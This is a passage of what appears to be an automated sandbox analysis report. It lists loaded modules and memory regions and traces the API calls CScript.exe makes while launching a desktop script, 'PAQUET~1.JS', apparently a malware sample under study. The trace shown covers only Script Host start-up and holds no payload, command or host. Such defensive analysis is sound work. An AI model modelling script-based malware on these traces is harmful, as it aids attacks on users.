	     entry_point = 0x92e7be0000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 343
	        start_va = 0x92e7ce0000
	          end_va = 0x92e7ceffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7ce0000"
	        filename = ""

Region:
	              id = 344
	        start_va = 0x92e7f60000
	          end_va = 0x92e835ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7f60000"
	        filename = ""

Region:
	              id = 345
	        start_va = 0x92e77a0000
	          end_va = 0x92e77a0fff
	     entry_point = 0x92e77a0000
	     region_type = mapped_file
	            name = "msxml3r.dll"
	        filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll")

Region:
	              id = 346
	        start_va = 0x7ffbeb800000
	          end_va = 0x7ffbeb936fff
	     entry_point = 0x7ffbeb800000
	     region_type = mapped_file
	            name = "msado15.dll"
	        filename = "\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")

Region:
	              id = 347
	        start_va = 0x7ffbeb7d0000
	          end_va = 0x7ffbeb7f4fff
	     entry_point = 0x7ffbeb7d0000
	     region_type = mapped_file
	            name = "msdart.dll"
	        filename = "\\Windows\\System32\\msdart.dll" (normalized: "c:\\windows\\system32\\msdart.dll")

Region:
	              id = 348
	        start_va = 0x7ffbf6fc0000
	          end_va = 0x7ffbf7156fff
	     entry_point = 0x7ffbf6fc0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")

Region:
	              id = 351
	        start_va = 0x7ffbf9380000
	          end_va = 0x7ffbf96f5fff
	     entry_point = 0x7ffbf9380000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 352
	        start_va = 0x7ffbf5c50000
	          end_va = 0x7ffbf5ef6fff
	     entry_point = 0x7ffbf5c50000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")

Region:
	              id = 353
	        start_va = 0x7ffbedf30000
	          end_va = 0x7ffbedf6cfff
	     entry_point = 0x7ffbedf30000
	     region_type = mapped_file
	            name = "mlang.dll"
	        filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll")

Region:
	              id = 354
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 355
	        start_va = 0x92e77b0000
	          end_va = 0x92e77b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e77b0000"
	        filename = ""

Region:
	              id = 356
	        start_va = 0x92e77c0000
	          end_va = 0x92e77c0fff
	     entry_point = 0x92e77c0000
	     region_type = mapped_file
	            name = "counters.dat"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat")

Region:
	              id = 357
	        start_va = 0x7ffc03980000
	          end_va = 0x7ffc039e8fff
	     entry_point = 0x7ffc03980000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 358
	        start_va = 0x7ffc02050000
	          end_va = 0x7ffc02057fff
	     entry_point = 0x7ffc02050000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 359
	        start_va = 0x7ffbf9250000
	          end_va = 0x7ffbf9264fff
	     entry_point = 0x7ffbf9250000
	     region_type = mapped_file
	            name = "ondemandconnroutehelper.dll"
	        filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll")

Region:
	              id = 360
	        start_va = 0x7ffbfe0d0000
	          end_va = 0x7ffbfe0dafff
	     entry_point = 0x7ffbfe0d0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 361
	        start_va = 0x7ffbfe0f0000
	          end_va = 0x7ffbfe127fff
	     entry_point = 0x7ffbfe0f0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 362
	        start_va = 0x7ffbfbb40000
	          end_va = 0x7ffbfbc15fff
	     entry_point = 0x7ffbfbb40000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 363
	        start_va = 0x7ffc00110000
	          end_va = 0x7ffc0016cfff
	     entry_point = 0x7ffc00110000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 364
	        start_va = 0x92e7cc0000
	          end_va = 0x92e7cc0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e7cc0000"
	        filename = ""

Region:
	              id = 365
	        start_va = 0x7ffbfff10000
	          end_va = 0x7ffbfffb7fff
	     entry_point = 0x7ffbfff10000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 366
	        start_va = 0x92e7cd0000
	          end_va = 0x92e7cd1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e7cd0000"
	        filename = ""

Region:
	              id = 367
	        start_va = 0x92e7cd0000
	          end_va = 0x92e7cdffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e7cd0000"
	        filename = ""

Region:
	              id = 368
	        start_va = 0x7ffbf9f50000
	          end_va = 0x7ffbf9f59fff
	     entry_point = 0x7ffbf9f50000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 369
	        start_va = 0x7ffbfced0000
	          end_va = 0x7ffbfcf37fff
	     entry_point = 0x7ffbfced0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 370
	        start_va = 0x92e7cf0000
	          end_va = 0x92e7cf1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e7cf0000"
	        filename = ""

Region:
	              id = 371
	        start_va = 0x7ffbfb2d0000
	          end_va = 0x7ffbfb543fff
	     entry_point = 0x7ffbfb2d0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll")

Region:
	              id = 372
	        start_va = 0x92e7d00000
	          end_va = 0x92e7d02fff
	     entry_point = 0x92e7d00000
	     region_type = mapped_file
	            name = "mswsock.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui")

Region:
	              id = 373
	        start_va = 0x92e7d20000
	          end_va = 0x92e7d21fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e7d20000"
	        filename = ""

Region:
	              id = 374
	        start_va = 0x7ffbffc40000
	          end_va = 0x7ffbffcb3fff
	     entry_point = 0x7ffbffc40000
	     region_type = mapped_file
	            name = "schannel.dll"
	        filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")

Region:
	              id = 375
	        start_va = 0x92e7d30000
	          end_va = 0x92e7d30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7d30000"
	        filename = ""

Region:
	              id = 376
	        start_va = 0x7ffbeda10000
	          end_va = 0x7ffbeda23fff
	     entry_point = 0x7ffbeda10000
	     region_type = mapped_file
	            name = "mskeyprotect.dll"
	        filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll")

Region:
	              id = 377
	        start_va = 0x7ffc00370000
	          end_va = 0x7ffc003a5fff
	     entry_point = 0x7ffc00370000
	     region_type = mapped_file
	            name = "ntasn1.dll"
	        filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll")

Region:
	              id = 378
	        start_va = 0x7ffc003b0000
	          end_va = 0x7ffc003d5fff
	     entry_point = 0x7ffc003b0000
	     region_type = mapped_file
	            name = "ncrypt.dll"
	        filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll")

Region:
	              id = 379
	        start_va = 0x7ffbffcc0000
	          end_va = 0x7ffbffcc9fff
	     entry_point = 0x7ffbffcc0000
	     region_type = mapped_file
	            name = "dpapi.dll"
	        filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll")

Region:
	              id = 380
	        start_va = 0x92e7d70000
	          end_va = 0x92e7e6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7d70000"
	        filename = ""

Region:
	              id = 381
	        start_va = 0x92e7ef0000
	          end_va = 0x92e7efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7ef0000"
	        filename = ""

Region:
	              id = 382
	        start_va = 0x7ffbff7c0000
	          end_va = 0x7ffbff7e2fff
	     entry_point = 0x7ffbff7c0000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 383
	        start_va = 0x92e7d30000
	          end_va = 0x92e7d39fff
	     entry_point = 0x92e7d30000
	     region_type = mapped_file
	            name = "crypt32.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui")

Region:
	              id = 384
	        start_va = 0x7ffbeb4d0000
	          end_va = 0x7ffbeb4fefff
	     entry_point = 0x7ffbeb4d0000
	     region_type = mapped_file
	            name = "cryptnet.dll"
	        filename = "\\Windows\\System32\\cryptnet.dll" (normalized: "c:\\windows\\system32\\cryptnet.dll")

Region:
	              id = 385
	        start_va = 0x7ffc03ae0000
	          end_va = 0x7ffc03b3afff
	     entry_point = 0x7ffc03ae0000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 386
	        start_va = 0x92e8360000
	          end_va = 0x92e845ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e8360000"
	        filename = ""

Region:
	              id = 387
	        start_va = 0x92e8460000
	          end_va = 0x92e855ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e8460000"
	        filename = ""

Region:
	              id = 388
	        start_va = 0x7ff7ebc58000
	          end_va = 0x7ff7ebc59fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7ebc58000"
	        filename = ""

Region:
	              id = 389
	        start_va = 0x7ff7ebc5a000
	          end_va = 0x7ff7ebc5bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7ebc5a000"
	        filename = ""

Region:
	              id = 390
	        start_va = 0x7ffbfcfc0000
	          end_va = 0x7ffbfcfd5fff
	     entry_point = 0x7ffbfcfc0000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 391
	        start_va = 0x7ffbfcfa0000
	          end_va = 0x7ffbfcfb9fff
	     entry_point = 0x7ffbfcfa0000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 392
	        start_va = 0x7ffbf25b0000
	          end_va = 0x7ffbf262ffff
	     entry_point = 0x7ffbf25b0000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 393
	        start_va = 0x92e7d40000
	          end_va = 0x92e7d44fff
	     entry_point = 0x92e7d40000
	     region_type = mapped_file
	            name = "winnlsres.dll"
	        filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll")

Region:
	              id = 394
	        start_va = 0x92e7d50000
	          end_va = 0x92e7d5ffff
	     entry_point = 0x92e7d50000
	     region_type = mapped_file
	            name = "winnlsres.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui")

Region:
	              id = 395
	        start_va = 0x92e8560000
	          end_va = 0x92e865ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e8560000"
	        filename = ""

Region:
	              id = 396
	        start_va = 0x92e8660000
	          end_va = 0x92e875ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e8660000"
	        filename = ""

Region:
	              id = 397
	        start_va = 0x7ff7ebc54000
	          end_va = 0x7ff7ebc55fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7ebc54000"
	        filename = ""

Region:
	              id = 398
	        start_va = 0x7ff7ebc56000
	          end_va = 0x7ff7ebc57fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7ebc56000"
	        filename = ""

Region:
	              id = 399
	        start_va = 0x7ffbfba10000
	          end_va = 0x7ffbfba36fff
	     entry_point = 0x7ffbfba10000
	     region_type = mapped_file
	            name = "cabinet.dll"
	        filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")

Region:
	              id = 400
	        start_va = 0x92e8760000
	          end_va = 0x92e895ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e8760000"
	        filename = ""

Region:
	              id = 401
	        start_va = 0x7ffbedac0000
	          end_va = 0x7ffbedadefff
	     entry_point = 0x7ffbedac0000
	     region_type = mapped_file
	            name = "ncryptsslp.dll"
	        filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll")

Region:
	              id = 402
	        start_va = 0x92e8360000
	          end_va = 0x92e845ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e8360000"
	        filename = ""

Region:
	              id = 403
	        start_va = 0x92e8960000
	          end_va = 0x92e8b5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e8960000"
	        filename = ""

Region:
	              id = 404
	        start_va = 0x92e8b60000
	          end_va = 0x92e8f5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e8b60000"
	        filename = ""

Region:
	              id = 405
	        start_va = 0x92e8f60000
	          end_va = 0x92e9344fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e8f60000"
	        filename = ""

Region:
	              id = 406
	        start_va = 0x92e9350000
	          end_va = 0x92e974ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e9350000"
	        filename = ""

Region:
	              id = 407
	        start_va = 0x7ffbff0d0000
	          end_va = 0x7ffbff147fff
	     entry_point = 0x7ffbff0d0000
	     region_type = mapped_file
	            name = "apphelp.dll"
	        filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")

Region:
	              id = 425
	        start_va = 0x7ff7eb8c0000
	          end_va = 0x7ff7ebc4ffff
	     entry_point = 0x7ff7eb8c0000
	     region_type = mapped_file
	            name = "sysmain.sdb"
	        filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb")


Thread:
	id = 1
	os_tid = 0xe70

	[0047.237] GetModuleHandleA (lpModuleName=0x0) returned 0x7ff7ecad0000
	[0047.237] GetVersionExA (in: lpVersionInformation=0x92e559f830*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x92e559f830*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x2800, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0047.237] GetUserDefaultLCID () returned 0x409
	[0047.237] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000070, lpLCData=0x92e559f3a0, cchData=2 | out: lpLCData="") returned 2
	[0047.237] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffc03dc0000
	[0047.238] GetProcAddress (hModule=0x7ffc03dc0000, lpProcName="SetThreadUILanguage") returned 0x7ffc03ddd550
	[0047.238] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0047.246] FreeLibrary (hLibModule=0x7ffc03dc0000) returned 1
	[0047.246] GetCommandLineW () returned="\"C:\\Windows\\System32\\CScript.exe\"  \"C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS\" "
	[0047.246] wcscpy_s (in: _Destination=0x92e559f880, _SizeInWords=0x4c, _Source="\"C:\\Windows\\System32\\CScript.exe\"  \"C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS\" " | out: _Destination="\"C:\\Windows\\System32\\CScript.exe\"  \"C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS\" ") returned 0x0
	[0047.246] wcscpy_s (in: _Destination=0x92e559f880, _SizeInWords=0x4c, _Source="C:\\Windows\\System32\\CScript.exe\"  \"C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS\" " | out: _Destination="C:\\Windows\\System32\\CScript.exe\"  \"C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS\" ") returned 0x0
	[0047.246] wcscpy_s (in: _Destination=0x92e559f8be, _SizeInWords=0x2c, _Source="  \"C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS\" " | out: _Destination="  \"C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS\" ") returned 0x0
	[0047.246] wcscpy_s (in: _Destination=0x92e559f8c2, _SizeInWords=0x29, _Source="C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS\" " | out: _Destination="C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS\" ") returned 0x0
	[0047.246] wcscpy_s (in: _Destination=0x92e559f90c, _SizeInWords=0x3, _Source=" " | out: _Destination=" ") returned 0x0
	[0047.246] GetCurrentThreadId () returned 0xe70
	[0047.246] CoInitialize (pvReserved=0x0) returned 0x0
	[0047.984] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x92e559f4f8 | out: phkResult=0x92e559f4f8*=0x0) returned 0x2
	[0047.984] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x92e559f4f0 | out: phkResult=0x92e559f4f0*=0xec) returned 0x0
	[0047.984] RegQueryValueExW (in: hKey=0xec, lpValueName="Enabled", lpReserved=0x0, lpType=0x92e559e7e4, lpData=0x92e559ebf0, lpcbData=0x92e559e7e0*=0x400 | out: lpType=0x92e559e7e4*=0x0, lpData=0x92e559ebf0*=0x0, lpcbData=0x92e559e7e0*=0x400) returned 0x2
	[0047.984] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0
	[0047.997] RegCloseKey (hKey=0xec) returned 0x0
	[0047.997] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x92e559f210 | out: phkResult=0x92e559f210*=0x0) returned 0x2
	[0047.997] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x92e559f208 | out: phkResult=0x92e559f208*=0xec) returned 0x0
	[0047.997] RegQueryValueExW (in: hKey=0xec, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0x92e559e504, lpData=0x92e559e910, lpcbData=0x92e559e500*=0x400 | out: lpType=0x92e559e504*=0x0, lpData=0x92e559e910*=0x0, lpcbData=0x92e559e500*=0x400) returned 0x2
	[0047.997] RegCloseKey (hKey=0xec) returned 0x0
	[0047.997] GetACP () returned 0x4e4
	[0047.997] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffc03dc0000
	[0047.997] GetProcAddress (hModule=0x7ffc03dc0000, lpProcName="HeapSetInformation") returned 0x7ffc03de0f40
	[0047.997] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0047.997] FreeLibrary (hLibModule=0x7ffc03dc0000) returned 1
	[0047.998] CoRegisterMessageFilter (in: lpMessageFilter=0x92e59359d0, lplpMessageFilter=0x92e59359e0 | out: lplpMessageFilter=0x92e59359e0*=0x0) returned 0x0
	[0047.998] IUnknown:AddRef (This=0x92e59359d0) returned 0x2
	[0047.998] GetModuleFileNameW (in: hModule=0x7ff7ecad0000, lpFilename=0x92e559f570, nSize=0x105 | out: lpFilename="C:\\Windows\\System32\\CScript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")) returned 0x1f
	[0047.998] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\System32\\CScript.exe", lpdwHandle=0x92e559ee90 | out: lpdwHandle=0x92e559ee90) returned 0x714
	[0047.998] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\System32\\CScript.exe", dwHandle=0x0, dwLen=0x714, lpData=0x92e559e770 | out: lpData=0x92e559e770) returned 1
	[0047.998] VerQueryValueW (in: pBlock=0x92e559e770, lpSubBlock="\\", lplpBuffer=0x92e559ee98, puLen=0x92e559ee94 | out: lplpBuffer=0x92e559ee98*=0x92e559e798, puLen=0x92e559ee94) returned 1
	[0047.998] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x92e559eee8 | out: phkResult=0x92e559eee8*=0xec) returned 0x0
	[0047.998] RegQueryValueExW (in: hKey=0xec, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x92e559e224, lpData=0x92e559e630, lpcbData=0x92e559e220*=0x400 | out: lpType=0x92e559e224*=0x0, lpData=0x92e559e630*=0x0, lpcbData=0x92e559e220*=0x400) returned 0x2
	[0047.998] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x92e559eea0 | out: phkResult=0x92e559eea0*=0x0) returned 0x2
	[0047.998] RegQueryValueExW (in: hKey=0xec, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0x92e559ee54, lpData=0x92e559eee0, lpcbData=0x92e559ee50*=0x4 | out: lpType=0x92e559ee54*=0x0, lpData=0x92e559eee0*=0x1, lpcbData=0x92e559ee50*=0x4) returned 0x2
	[0047.998] RegQueryValueExW (in: hKey=0xec, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0x92e559e224, lpData=0x92e559e630, lpcbData=0x92e559e220*=0x400 | out: lpType=0x92e559e224*=0x1, lpData="1", lpcbData=0x92e559e220*=0x4) returned 0x0
	[0047.999] RegCloseKey (hKey=0xec) returned 0x0
	[0047.999] RegCreateKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x9200020019, lpSecurityAttributes=0x0, phkResult=0x92e559eee8, lpdwDisposition=0x0 | out: phkResult=0x92e559eee8*=0xec, lpdwDisposition=0x0) returned 0x0
	[0047.999] RegQueryValueExW (in: hKey=0xec, lpValueName="Timeout", lpReserved=0x0, lpType=0x92e559ee74, lpData=0x92e559eee0, lpcbData=0x92e559ee70*=0x4 | out: lpType=0x92e559ee74*=0x0, lpData=0x92e559eee0*=0x1, lpcbData=0x92e559ee70*=0x4) returned 0x2
	[0047.999] RegQueryValueExW (in: hKey=0xec, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x92e559e244, lpData=0x92e559e650, lpcbData=0x92e559e240*=0x400 | out: lpType=0x92e559e244*=0x1, lpData="1", lpcbData=0x92e559e240*=0x4) returned 0x0
	[0047.999] RegCloseKey (hKey=0xec) returned 0x0
	[0047.999] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x7ffc00020019, lpSecurityAttributes=0x0, phkResult=0x92e559eee8, lpdwDisposition=0x0 | out: phkResult=0x92e559eee8*=0x11c, lpdwDisposition=0x0) returned 0x0
	[0047.999] RegQueryValueExW (in: hKey=0x11c, lpValueName="Timeout", lpReserved=0x0, lpType=0x92e559ee74, lpData=0x92e559eee0, lpcbData=0x92e559ee70*=0x4 | out: lpType=0x92e559ee74*=0x0, lpData=0x92e559eee0*=0x1, lpcbData=0x92e559ee70*=0x4) returned 0x2
	[0047.999] RegQueryValueExW (in: hKey=0x11c, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x92e559e244, lpData=0x92e559e650, lpcbData=0x92e559e240*=0x400 | out: lpType=0x92e559e244*=0x0, lpData=0x92e559e650*=0x31, lpcbData=0x92e559e240*=0x400) returned 0x2
	[0047.999] RegCloseKey (hKey=0x11c) returned 0x0
	[0047.999] wcscpy_s (in: _Destination=0x92e559f16c, _SizeInWords=0x104, _Source="C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS" | out: _Destination="C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS") returned 0x0
	[0048.000] LoadStringW (in: hInstance=0x7ff7ecad0000, uID=0x834, lpBuffer=0x92e559dde0, cchBufferMax=2048 | out: lpBuffer="Microsoft (R) Windows Script Host Version %1!u!.%2!u!\nCopyright (C) Microsoft Corporation. All rights reserved.\n") returned 0x70
	[0048.000] FormatMessageW (in: dwFlags=0x500, lpSource=0x92e56096a8, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x92e559edc8, nSize=0x0, Arguments=0x92e559ee38 | out: lpBuffer="ꇰ\x92") returned 0x6c
	[0048.000] LocalFree (hMem=0x92e560a1f0) returned 0x0
	[0048.000] GetStdHandle (nStdHandle=0xfffffff5) returned 0x2c
	[0048.002] GetConsoleMode (in: hConsoleHandle=0x2c, lpMode=0x92e559eb80 | out: lpMode=0x92e559eb80) returned 1
	[0048.002] WriteConsoleW (in: hConsoleOutput=0x2c, lpBuffer=0x92e5609bc0*, nNumberOfCharsToWrite=0x6e, lpNumberOfCharsWritten=0x92e559eb88, lpReserved=0x0 | out: lpBuffer=0x92e5609bc0*, lpNumberOfCharsWritten=0x92e559eb88*=0x6e) returned 1
	[0048.003] LoadStringW (in: hInstance=0x7ff7ecad0000, uID=0x7d1, lpBuffer=0x92e559d900, cchBufferMax=2048 | out: lpBuffer="Windows Script Host") returned 0x13
	[0048.003] LoadTypeLib (in: szFile="C:\\Windows\\System32\\CScript.exe", pptlib=0x92e559e940*=0x0 | out: pptlib=0x92e559e940*=0x92e560a400) returned 0x0
	[0048.009] ITypeLib:GetTypeInfoOfGuid (in: This=0x92e560a400, GUID=0x7ff7ecae6e90*(Data1=0x91afbd1b, Data2=0x5feb, Data3=0x43f5, Data4=([0]=0xb0, [1]=0x28, [2]=0xe2, [3]=0xca, [4]=0x96, [5]=0x6, [6]=0x17, [7]=0xec)), ppTInfo=0x92e559e928 | out: ppTInfo=0x92e559e928*=0x92e560ac88) returned 0x0
	[0048.212] ITypeLib:GetTypeInfoOfGuid (in: This=0x92e560a400, GUID=0x7ff7ecae6a90*(Data1=0x2cc5a9d0, Data2=0xb1e5, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x86, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x92e559e8f8 | out: ppTInfo=0x92e559e8f8*=0x92e560ad38) returned 0x0
	[0048.213] ITypeInfo:GetRefTypeOfImplType (in: This=0x92e560ad38, index=0xffffffff, pRefType=0x92e559e8f0 | out: pRefType=0x92e559e8f0*=0xfffffffe) returned 0x0
